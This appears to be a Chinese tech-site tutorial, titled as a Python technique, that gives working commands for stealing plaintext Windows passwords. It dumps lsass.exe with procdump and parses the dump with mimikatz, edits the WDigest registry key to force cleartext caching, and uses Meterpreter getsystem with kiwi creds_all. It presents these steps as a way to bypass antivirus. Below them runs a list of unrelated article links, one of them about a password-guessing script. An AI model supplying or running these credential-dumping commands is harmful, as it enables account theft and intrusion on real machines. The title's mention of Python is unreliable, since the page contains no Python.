python簡(jiǎn)單直接獲取windows明文密碼操作技巧
01、Procdump+Mimikatz
利用procdump+Mimikatz 繞過(guò)殺軟獲取Windows明文密碼。
（1）工具準(zhǔn)備：
ProcDump：
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz：
https://github.com/gentilkiwi/mimikatz/
（2）Windows Server 2008 R2提取明文密碼
在目標(biāo)機(jī)器上生成存儲(chǔ)文件：
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
將lsass.dmp復(fù)制到本地，使用mimikatz 一行命令將結(jié)果輸出到文本。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt
如圖：成功從內(nèi)存中提取明文密碼。
02、Window 2012 R2抓取密碼
在Windows2012系統(tǒng)及以上的系統(tǒng)，默認(rèn)在內(nèi)存緩存中禁止保存明文密碼的。攻擊者可以通過(guò)修改注冊(cè)表的方式抓取明文，需要用戶重新登錄后才能成功抓取。
（1）修改注冊(cè)表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
（2）用戶administrator注銷后重新登錄，成功抓取到明文信息。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
03、MSF kiwi模塊
使用kiwi模塊需要system權(quán)限，所以我們?cè)谑褂迷撃K之前需要將當(dāng)前MSF中的shell提升為system。
提到system有兩個(gè)方法，一是當(dāng)前的權(quán)限是administrator用戶，二是利用其它手段先提權(quán)到administrator用戶。然后administrator用戶可以直接getsystem到system權(quán)限。
meterpreter > getuid Server username: BYPASS-E97BA3FC\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
加載kiwi模塊：
load kiwi
列舉系統(tǒng)中的明文密碼：
creds_all
以上就是python簡(jiǎn)單直接獲取windows明文密碼操作技巧的詳細(xì)內(nèi)容，更多關(guān)于python獲取windows明文密碼的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章！
相關(guān)文章
Python猜解網(wǎng)站數(shù)據(jù)庫(kù)管理員密碼的腳本
這篇文章主要和大家分享一個(gè)Python腳本，可以實(shí)現(xiàn)猜解網(wǎng)站數(shù)據(jù)庫(kù)管理員的密碼。文中的示例代碼講解詳細(xì)，需要的小伙伴可以參考一下2022-02-02
解決python爬蟲(chóng)中有中文的url問(wèn)題
今天小編就為大家分享一篇解決python爬蟲(chóng)中有中文的url問(wèn)題，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-05-05
Python人臉識(shí)別第三方庫(kù)face_recognition接口說(shuō)明文檔
Python人臉識(shí)別第三方庫(kù)face_recognition接口簡(jiǎn)單說(shuō)明，及簡(jiǎn)單使用方法2019-05-05
Python使用ChainMap實(shí)現(xiàn)組合數(shù)據(jù)魔法實(shí)例探究
這篇文章主要為大家介紹了Python使用ChainMap實(shí)現(xiàn)組合數(shù)據(jù)魔法實(shí)例探究,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2024-01-01
Python實(shí)現(xiàn)對(duì)adb命令封裝
這篇文章主要介紹了Python實(shí)現(xiàn)對(duì)adb命令封裝，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-03-03
圣誕節(jié)教你用Python繪制愛(ài)心圣誕樹(shù)
圣誕節(jié)快要到了，心血來(lái)潮，寫段代碼給大家介紹下基于Python繪制愛(ài)心圣誕樹(shù)的方法，代碼簡(jiǎn)單易懂，對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值，需要的朋友參考下吧2021-12-12
Python?Fuzzywuzzy庫(kù)基本函數(shù)及模糊字符串匹配應(yīng)用實(shí)戰(zhàn)
fuzzywuzzy?是一個(gè)用于模糊字符串匹配的?Python?庫(kù),它基于編輯距離算法,提供了多個(gè)函數(shù)來(lái)比較字符串之間的相似性,在實(shí)際開(kāi)發(fā)中,字符串匹配是一項(xiàng)常見(jiàn)但具有挑戰(zhàn)性的任務(wù),用戶可能犯拼寫錯(cuò)誤,使用縮寫或者輸入同義詞,因此,我們需要一種方法來(lái)處理這些情況2023-12-12
這篇文章主要介紹了Python文件時(shí)間操作步驟代碼詳解,文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-04-04
pygame學(xué)習(xí)筆記（6）：完成一個(gè)簡(jiǎn)單的游戲
這篇文章主要介紹了pygame學(xué)習(xí)筆記（6）：完成一個(gè)簡(jiǎn)單的游戲,本文綜合了學(xué)習(xí)過(guò)的知識(shí),完成一個(gè)簡(jiǎn)單的游戲開(kāi)發(fā),是本系列文章的最后一篇,需要的朋友可以參考下2015-04-04
這篇文章主要介紹了python小練習(xí)題之條件語(yǔ)句if的相關(guān)資料,文中介紹了年齡判斷、身高判斷、數(shù)字奇偶性判斷、閏年判斷、水仙花數(shù)判斷、成績(jī)等級(jí)判斷以及三角形判斷等常見(jiàn)場(chǎng)景,需要的朋友可以參考下2024-12-12